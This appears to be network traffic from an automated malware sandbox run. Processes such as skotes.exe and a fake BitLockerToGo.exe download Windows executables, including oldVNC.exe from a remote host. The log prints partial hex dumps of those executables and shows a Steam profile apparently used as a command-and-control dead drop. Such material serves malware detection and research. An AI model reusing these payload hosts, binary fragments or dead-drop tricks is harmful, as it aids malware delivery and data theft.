Jan 12, 2025 17:41:04.811449051 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 12 Jan 2025 16:41:03 GMT Content-Type: application/octet-stream Content-Length: 1890304 Last-Modified: Sun, 12 Jan 2025 16:13:59 GMT Connection: keep-alive ETag: "6783ea47-1cd800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 f0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfJ@ K3@WkJ8J @.rsrc@.idata @ p*@zfmfunjd 1@sebokevzJ@.taggant0J"@
Jan 12, 2025 17:41:04.811479092 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 12, 2025 17:41:04.811496019 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 12, 2025 17:41:04.811510086 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 12, 2025 17:41:04.811527014 CET	896	IN	Data Raw: 76 36 f9 69 c3 a8 48 a0 e3 55 ed 65 7f 51 6b 3c 94 c9 90 a5 0c fb 55 34 b1 db 71 8a b6 77 69 15 d2 33 da 2e d3 73 05 2a b7 6c 0d 24 33 5a fa 3d 23 8b 29 ea 67 4d d6 c0 d4 8a 79 99 bc 28 69 40 33 f7 9c 74 5b ac cc 35 c1 48 87 23 f3 8a c1 77 c4 cc Data Ascii: v6iHUeQk<U4qwi3.s*l$3Z=#)gMy(i@3t[5H#wxhyju9zwq}v[QiYh hP{K?2ph]3g\|_)4l__OVa+hr3)YZOa/xZ^TGy]l%[sVh#WvSz
Jan 12, 2025 17:41:04.811547995 CET	1236	IN	Data Raw: d2 41 b3 c5 a1 5b 85 79 bf 4c 68 15 fa 89 da 57 24 db 0c 29 c3 e7 74 1d 96 37 d9 83 12 7d cb d5 94 2f 72 56 f6 19 78 55 f7 5a 9a ca 07 4b a9 85 c4 ac 78 35 1b 48 a0 fd 9b a7 cc 7f 36 f7 ca 95 bc 68 e9 c9 2f 69 58 8a 16 77 69 75 f8 33 7a 0b 84 1b Data Ascii: A[yLhW$)t7}/rVxUZKx5H6h/iXwiu3zQ'YSv]89\|,kIgvUSZ;h[Z6GrBiU^sqiys5_hdgXsY)cK7u@9SZY[h\|h-[[t[Rh
Jan 12, 2025 17:41:04.811563969 CET	1236	IN	Data Raw: 29 61 d5 96 22 b3 95 24 a4 73 af de 8f 73 4f 2a d8 79 49 bd 8b 05 78 6d cc 20 a7 c7 fb 9a f0 fa 9e 8c e3 83 c0 98 c9 01 7e 87 43 68 bf 55 d9 16 bb 53 81 8b 49 bb f5 7b 44 f8 a3 a9 93 00 51 a6 1d 4a 7f 0b 24 b3 9b 8d ba b5 0f b2 03 4a 8f 13 aa b3 Data Ascii: )a"$ssOyIxm ~ChUSI{DQJ$JKEKNj}uEVT>h54la2c9K<H`Q@5R#Nije[ZiM"AEaOI-U)w!UFVr
Jan 12, 2025 17:41:04.811578035 CET	1236	IN	Data Raw: 2f 1e 38 8f c0 f8 20 35 97 43 bf 3e bf 94 c1 66 70 9b 30 82 0d 59 85 9e a9 63 b7 24 a7 fb 9c 16 b8 68 3b e5 64 62 61 9c 99 e0 38 9c e4 da dd b6 fa 5b 40 94 bf 16 d2 e6 a2 c7 d2 69 bb f8 a0 cb e8 f2 7a 14 63 73 ff de 9c fd eb cb 93 d7 c9 ed 1b 77 Data Ascii: /8 5C>fp0Yc$h;dba8[@izcsw{B1z=G!O`!DU9;RxW;M,$l's`QaUSEJ&foa/&K\|WEd\92W3dk7/s@W6J+4
Jan 12, 2025 17:41:04.811598063 CET	1236	IN	Data Raw: 93 34 29 40 9b ef bf 16 6b 9d 20 20 c9 95 fc f4 75 b0 1f 51 eb 6c 12 89 2f bf 25 23 d9 12 a4 30 51 ed 48 23 7b d9 7e 71 13 ce ca fd 57 0f 0d 87 0a 47 8d fa 4f d9 8d bd 1a 59 07 02 c0 f6 41 17 c1 27 d1 24 54 ec 89 3d da d9 95 fb 54 53 96 e9 b9 b8 Data Ascii: 4)@k uQl/%#0QH#{~qWGOYA'$T=TSOHNV$2hImI7}O9XdYYiT'+C/S0X5.-Y~1V+qcJaWQVSV*o0&VpcwZb`86c[ac,Jzz5X}g\>#]f[^C
Jan 12, 2025 17:41:04.811613083 CET	1236	IN	Data Raw: 60 43 a3 3d c3 57 cb e3 01 2e 5b ea 56 9c e4 ea 63 10 cb dd b7 36 08 ec 9b 90 9d 54 1f 8d 94 b2 9c a2 8b ab 93 f0 52 f9 29 d1 1c 27 7a ca 66 dc 7d 0b 42 26 9c 90 76 63 18 bc a3 b7 79 a7 00 fd 45 7c 7e 0f 3d 2b 4d d0 aa 13 f7 fe 27 e6 f7 5e 27 5b Data Ascii: `C=W.[Vc6TR)'zf}B&vcyE\|~=+M'^'[J{vxb^TtRvJ[bcDR"w7=b'"%;!ayP4&4i De2eKta;P\| 3UyWQM)@Gw\P}1*w"ct5EN0Ky=/
Jan 12, 2025 17:41:04.816530943 CET	1236	IN	Data Raw: 07 3e 47 7b d0 e0 80 db 8f 1d bd f5 1a f7 f5 95 04 ab 1a ef b4 7e 7b 62 91 b9 5f 31 76 f1 7d 13 f2 32 8b 86 ae 60 fd b4 af 76 72 01 82 a7 7b 74 a1 17 ca 6c c5 1f e0 cb f2 53 19 bb c4 a8 55 c1 58 c6 31 2b f4 87 37 1a fb 7a 93 e2 5d 9c 36 3f 37 d7 Data Ascii: >G{~{b_1v}2`vr{tlSUX1+7z]6?7/L4(bL2b]4\pCXD!jbWE!%SrwM{%Nkdi-sj:@\|[QMM[d$Mt/Y7QV{+i+lM

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49986	162.0.209.157	443	7236	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-12 16:39:45 UTC	55	OUT	GET /oldVNC.exe HTTP/1.1 Host: yachtingiturkey.com
2025-01-12 16:39:45 UTC	290	IN	HTTP/1.1 200 OK keep-alive: timeout=5, max=100 content-type: application/x-msdownload last-modified: Fri, 10 Jan 2025 08:40:32 GMT accept-ranges: bytes content-length: 5766144 date: Sun, 12 Jan 2025 16:39:45 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close
2025-01-12 16:39:45 UTC	16384	IN	Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZP@!L!This program must be run under Win32$7
2025-01-12 16:39:45 UTC	6016	IN	Data Raw: 04 4c 40 00 11 17 54 41 72 72 61 79 3c 53 79 73 74 65 6d 2e 53 68 6f 72 74 49 6e 74 3e 01 00 00 00 00 00 00 00 10 00 00 00 64 10 40 00 06 53 79 73 74 65 6d 64 10 40 00 02 00 00 00 40 4c 40 00 11 17 54 41 72 72 61 79 3c 53 79 73 74 65 6d 2e 53 6d 61 6c 6c 49 6e 74 3e 02 00 00 00 00 00 00 00 02 00 00 00 80 10 40 00 06 53 79 73 74 65 6d 80 10 40 00 02 00 00 00 7c 4c 40 00 11 16 54 41 72 72 61 79 3c 53 79 73 74 65 6d 2e 49 6e 74 65 67 65 72 3e 04 00 00 00 00 00 00 00 03 00 00 00 9c 10 40 00 06 53 79 73 74 65 6d 9c 10 40 00 02 00 00 00 00 b8 4c 40 00 11 14 54 41 72 72 61 79 3c 53 79 73 74 65 6d 2e 49 6e 74 36 34 3e 08 00 00 00 00 00 00 00 14 00 00 00 14 11 40 00 06 53 79 73 74 65 6d 14 11 40 00 02 00 00 f0 4c 40 00 11 1a 54 41 72 72 61 79 3c 53 79 73 74 65 6d Data Ascii: L@TArray<System.ShortInt>d@Systemd@@L@TArray<System.SmallInt>@System@\|L@TArray<System.Integer>@System@L@TArray<System.Int64>@System@L@TArray<System
2025-01-12 16:39:45 UTC	16384	IN	Data Raw: c3 8d 40 00 53 56 8b d8 83 c3 20 89 1a 8b 10 3b 42 18 75 08 8b 5a 10 3b 5a 14 76 19 8b f0 8b de 83 eb 04 8b 1b 83 e3 f0 03 de 0f b7 42 02 2b d8 89 19 5e 5b c3 8b 42 10 48 89 01 5e 5b c3 8b c0 53 56 57 55 83 c4 ec 8b ea 8b d8 33 f6 8b fb b9 0a 00 00 00 8b c3 33 d2 f7 f1 89 c3 8b c3 03 c0 8d 04 80 2b f8 46 8b d7 80 c2 30 b8 14 00 00 00 2b c6 88 14 04 85 db 75 d4 8b d5 8d 04 04 8b ce e8 17 0d 00 00 8d 04 2e 83 c4 14 5d 5f 5e 5b c3 53 56 8b f1 8b da 8b d3 8b ce e8 fd 0c 00 00 8b c3 03 c6 5e 5b c3 8b c0 53 8b da 85 c0 74 12 83 c0 c8 8b 00 0f b6 08 40 8b d3 e8 d1 ff ff ff 5b c3 a1 64 e0 8f 00 e8 5d 3f 00 00 8b c8 8b d3 a1 64 e0 8f 00 e8 b7 ff ff ff 5b c3 90 55 8b ec 53 8b d0 81 fa ff ff 00 00 76 65 f6 c2 03 75 60 8b 55 08 8b 52 e4 8b c8 3b d1 77 0d 8b 5d 08 03 Data Ascii: @SV ;BuZ;ZvB+^[BH^[SVWU33+F0+u.]_^[SV^[St@[d]?d[USveu`UR;w]
2025-01-12 16:39:45 UTC	16384	IN	Data Raw: 4a f8 75 08 8d 42 f4 e8 6c cb ff ff c3 8d 40 00 85 c0 74 05 83 e8 04 8b 00 c3 8b c0 85 c0 74 05 83 e8 04 8b 00 c3 8b c0 33 d2 85 c0 74 09 eb 01 42 80 3c 10 00 75 f9 8b c2 c3 8b c0 33 d2 85 c0 74 0a eb 01 42 66 83 3c 50 00 75 f8 8b c2 c3 90 8b 10 85 d2 74 38 8b 4a f8 49 74 32 53 89 c3 8b 42 fc e8 05 fa ff ff 89 c2 87 03 50 8b 48 fc d1 e1 e8 26 cd ff ff 58 8b 48 f8 49 7c 0e f0 ff 48 f8 75 08 8d 40 f4 e8 ed ca ff ff 8b 13 5b 89 d0 c3 8d 40 00 8b 10 85 d2 74 3a 8b 4a f8 49 74 34 53 89 c3 8b 42 fc 0f b7 52 f4 e8 fd f9 ff ff 89 c2 87 03 50 8b 48 fc e8 e0 cc ff ff 58 8b 48 f8 49 7c 0e f0 ff 48 f8 75 08 8d 40 f4 e8 a7 ca ff ff 8b 13 5b 89 d0 c3 90 e9 73 ff ff ff c3 8b c0 e9 af ff ff ff c3 8b c0 e9 63 ff ff ff c3 8b c0 53 56 57 89 c6 89 d7 31 c0 31 d2 8a 06 8a 17 Data Ascii: JuBl@tt3tB<u3tBf<Put8JIt2SBPH&XHI\|Hu@[@t:JIt4SBRPHXHI\|Hu@[scSVW11
2025-01-12 16:39:45 UTC	16384	IN	Data Raw: 45 fc e8 11 bb ff ff c3 e9 27 b0 ff ff eb e3 5b 8b e5 5d c3 55 8b ec 6a 00 6a 00 6a 00 6a 00 6a 00 6a 00 53 56 8b f1 89 55 f8 89 45 fc 8b 45 fc e8 c7 bb ff ff 8b 45 f8 e8 bf bb ff ff 33 c0 55 68 ab e4 40 00 64 ff 30 64 89 20 8b c6 e8 c6 ba ff ff 83 7d f8 00 0f 84 b4 00 00 00 8d 45 f0 8b 55 f8 e8 d9 be ff ff 8b 45 f8 85 c0 74 05 83 e8 04 8b 00 8b d8 83 fb 01 7c 25 8b 45 f8 66 83 7c 58 fe 2e 75 15 8d 45 f0 50 8b cb ba 01 00 00 00 8b 45 f8 e8 bc ce ff ff eb 05 4b 85 db 75 db 8d 55 f4 8b 45 fc e8 a6 fc ff ff 83 7d f4 00 74 0f 8b ce 8b 55 f4 8b 45 f0 e8 bf fd ff ff eb 51 e8 d8 6d ff ff 8d 55 ec e8 34 f6 ff ff 8b 55 ec 8b ce 8b 45 f0 e8 a3 fd ff ff 83 3e 00 75 23 80 3d 10 ec 93 00 00 75 1a e8 b8 6d ff ff 8d 55 e8 e8 0c f6 ff ff 8b 55 e8 8b ce 8b 45 f0 e8 7b fd Data Ascii: E'[]UjjjjjjSVUEEE3Uh@d0d }EUEt\|%Ef\|X.uEPEKuUE}tUEQmU4UE>u#=umUUE{
2025-01-12 16:39:45 UTC	16384	IN	Data Raw: 00 07 54 69 6d 65 6f 75 74 02 00 02 00 4c 00 58 2a 41 00 0a 57 61 69 74 46 6f 72 41 6e 79 03 00 50 1e 41 00 0c 00 03 16 28 24 41 00 00 00 06 45 76 65 6e 74 73 02 00 20 9c 10 40 00 02 00 05 49 6e 64 65 78 02 00 00 e4 10 40 00 08 00 07 54 69 6d 65 6f 75 74 02 00 02 00 4c 00 30 2a 41 00 0a 57 61 69 74 46 6f 72 41 6e 79 03 00 50 1e 41 00 0c 00 03 16 28 24 41 00 00 00 06 45 76 65 6e 74 73 02 00 28 28 24 41 00 02 00 05 45 76 65 6e 74 02 00 00 e4 10 40 00 08 00 07 54 69 6d 65 6f 75 74 02 00 02 00 00 00 00 2c 24 41 00 07 0f 54 4d 75 6c 74 69 57 61 69 74 45 76 65 6e 74 b8 21 41 00 b4 1f 40 00 00 00 0c 53 79 73 74 65 6d 2e 54 79 70 65 73 00 00 00 00 02 00 00 00 e9 b7 53 ff ff 00 00 00 68 24 41 00 0f 0c 49 41 73 79 6e 63 52 65 73 75 6c 74 dc 26 40 00 00 00 00 00 00 Data Ascii: TimeoutLXAWaitForAnyPA($AEvents @Index@TimeoutL0AWaitForAnyPA($AEvents(($AEvent@Timeout,$ATMultiWaitEvent!A@System.TypesSh$AIAsyncResult&@
2025-01-12 16:39:45 UTC	16384	IN	Data Raw: 59 09 59 09 59 09 85 09 49 09 02 09 49 09 49 09 49 09 49 09 78 09 49 09 4e 09 59 09 74 09 49 09 4d 09 8f 09 c2 0c 49 09 49 09 91 09 c2 0c cb 05 c2 0c 97 0a 97 0a 97 0a 00 0b 49 09 49 09 49 09 49 09 8d 0a 97 0a 49 09 49 09 49 09 49 09 49 09 49 09 49 09 49 09 49 09 49 09 49 09 7d 09 47 09 49 09 49 09 51 09 49 09 49 09 49 09 49 09 49 09 49 09 4a 09 49 09 49 09 49 09 49 09 49 09 90 05 49 09 f1 0d 49 09 a6 04 49 09 fb 0d 49 09 92 05 0a 11 03 0e 0d 0e 97 0a bf 05 49 09 8f 05 64 09 59 09 a4 09 59 09 49 09 49 09 49 09 49 09 49 09 49 09 49 09 49 09 49 09 49 09 49 09 49 09 49 09 49 09 49 09 49 09 59 09 59 09 59 09 59 09 59 09 59 09 59 09 59 09 a7 09 af 09 59 09 59 09 59 09 b8 09 59 09 5d 09 49 09 49 09 49 09 59 09 fa 09 cc 05 c2 0c c2 0c c2 0c c2 0c c2 0c c2 0c c2 Data Ascii: YYYIIIIIxINYtIMIIIIIIIIIIIIIIIII}GIIQIIIIIIJIIIIIIIIIIdYYIIIIIIIIIIIIIIIIYYYYYYYYYYYY]IIIY
2025-01-12 16:39:45 UTC	16384	IN	Data Raw: 00 64 c2 42 00 07 49 6e 64 65 78 4f 66 03 00 9c 10 40 00 08 00 02 08 d4 a5 41 00 00 00 04 53 65 6c 66 02 00 02 b8 12 40 00 01 00 0a 4c 6f 63 61 6c 65 4e 61 6d 65 02 00 02 00 41 00 a0 c0 42 00 07 47 65 74 4e 61 6d 65 03 00 b8 12 40 00 08 00 03 08 d4 a5 41 00 00 00 04 53 65 6c 66 02 00 00 9c 10 40 00 01 00 05 49 6e 64 65 78 02 00 40 b8 12 40 00 02 00 01 01 02 00 02 00 4a 00 c0 c0 42 00 13 47 65 74 4e 61 6d 65 46 72 6f 6d 4c 6f 63 61 6c 65 49 44 03 00 b8 12 40 00 08 00 03 08 d4 a5 41 00 00 00 04 53 65 6c 66 02 00 00 e4 10 40 00 01 00 02 49 44 02 00 40 b8 12 40 00 02 00 01 01 02 00 02 00 46 00 90 c1 42 00 0f 47 65 74 4e 61 6d 65 46 72 6f 6d 4c 43 49 44 03 00 b8 12 40 00 08 00 03 08 d4 a5 41 00 00 00 04 53 65 6c 66 02 00 02 b8 12 40 00 01 00 02 49 44 02 00 40 Data Ascii: dBIndexOf@ASelf@LocaleNameABGetName@ASelf@Index@@JBGetNameFromLocaleID@ASelf@ID@@FBGetNameFromLCID@ASelf@ID@
2025-01-12 16:39:45 UTC	16384	IN	Data Raw: 65 61 72 03 00 00 00 00 00 08 00 01 08 58 ec 41 00 00 00 04 53 65 6c 66 02 00 02 00 79 00 58 cc 42 00 06 43 6f 70 79 54 6f 03 00 00 00 00 00 10 00 05 08 58 ec 41 00 00 00 04 53 65 6c 66 02 00 00 9c 10 40 00 01 00 0b 53 6f 75 72 63 65 49 6e 64 65 78 02 00 02 90 4b 40 00 02 00 0b 44 65 73 74 69 6e 61 74 69 6f 6e 02 00 00 9c 10 40 00 0c 00 10 44 65 73 74 69 6e 61 74 69 6f 6e 49 6e 64 65 78 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 41 00 08 d0 42 00 0e 45 6e 73 75 72 65 43 61 70 61 63 69 74 79 03 00 9c 10 40 00 08 00 02 08 58 ec 41 00 00 00 04 53 65 6c 66 02 00 00 9c 10 40 00 01 00 09 61 43 61 70 61 63 69 74 79 02 00 02 00 3d 00 60 d0 42 00 06 45 71 75 61 6c 73 03 00 00 10 40 00 08 00 02 08 58 ec 41 00 00 00 04 53 65 6c 66 02 00 08 58 ec 41 00 Data Ascii: earXASelfyXBCopyToXASelf@SourceIndexK@Destination@DestinationIndex@CountABEnsureCapacity@XASelf@aCapacity=`BEquals@XASelfXA
2025-01-12 16:39:45 UTC	16384	IN	Data Raw: 00 83 c6 02 81 6d f0 00 00 e8 89 81 5d f4 04 23 c7 8a 4b 80 fb 11 76 61 80 fb 13 75 2d 66 c7 06 30 00 eb 11 81 6d f0 00 00 64 a7 81 5d f4 b3 b6 e0 0d 66 ff 06 81 7d f4 b3 b6 e0 0d 75 07 81 7d f0 00 00 64 a7 73 dd 83 c6 02 66 c7 06 30 00 eb 11 81 6d f0 00 00 8a 5d 81 5d f4 78 45 63 01 66 ff 06 81 7d f4 78 45 63 01 75 07 81 7d f0 00 00 8a 5d 73 dd 83 c6 02 b3 11 6a 00 68 00 e1 f5 05 8b 45 f0 8b 55 f4 e8 95 9e fe ff 89 45 e8 89 55 ec 8b 45 f0 8b 55 f4 52 50 6a 00 68 00 e1 f5 05 8b 45 e8 8b 55 ec e8 bd 9d fe ff 29 04 24 19 54 24 04 58 5a 89 45 e0 89 55 e4 8b 4d e0 8b c1 bf 64 00 00 00 33 d2 f7 f7 89 45 dc 6b 45 dc 64 2b c8 8b c1 8b 04 85 d2 ff 8f 00 0f b6 d3 03 d2 03 d6 83 ea 04 89 02 8b 45 dc b9 64 00 00 00 33 d2 f7 f1 8b c8 6b c1 64 8b 55 dc 2b d0 8b c2 8b Data Ascii: m]#Kvau-f0md]f}u}dsf0m]]xEcf}xEcu}]sjhEUEUEURPjhEU)$T$XZEUMd3EkEd+Ed3kdU+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	50000	104.102.49.254	443	7524	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-12 16:39:59 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2025-01-12 16:39:59 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Sun, 12 Jan 2025 16:39:59 GMT Content-Length: 35141 Connection: close Set-Cookie: sessionid=1b02862cc65b1ac9a116f5a0; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2025-01-12 16:39:59 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2025-01-12 16:39:59 UTC	16384	IN	Data Raw: 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a Data Ascii: eamcommunity.com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">
2025-01-12 16:39:59 UTC	3768	IN	Data Raw: 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 61 63 74 69 6f 6e 73 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 73 75 6d 6d 61 72 79 22 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 20 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 5f 73 70 61 63 65 72 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 34 70 78 3b 22 3e 0a 09 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 Data Ascii: </a></div><div class="profile_header_actions"></div></div><div class="profile_header_summary"><div class="persona_name persona_name_spacer" style="font-size: 24px;"><span class="
2025-01-12 16:39:59 UTC	510	IN	Data Raw: 61 6e 6b 22 3e 53 74 65 61 6d 20 53 75 62 73 63 72 69 62 65 72 20 41 67 72 65 65 6d 65 6e 74 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 26 6e 62 73 70 3b 7c 20 26 6e 62 73 70 3b 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 63 63 6f 75 6e 74 2f 63 6f 6f 6b 69 65 70 72 65 66 65 72 65 6e 63 65 73 2f 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6f 6f 6b 69 65 73 3c 2f 61 3e 0a 09 09 09 09 09 09 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 09 09 09 09 3c 2f 73 70 61 6e 3e 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 73 70 6f 6e 73 69 76 65 5f 6f 70 74 69 6e 5f 6c 69 6e 6b 22 Data Ascii: ank">Steam Subscriber Agreement</a>  \|  <a 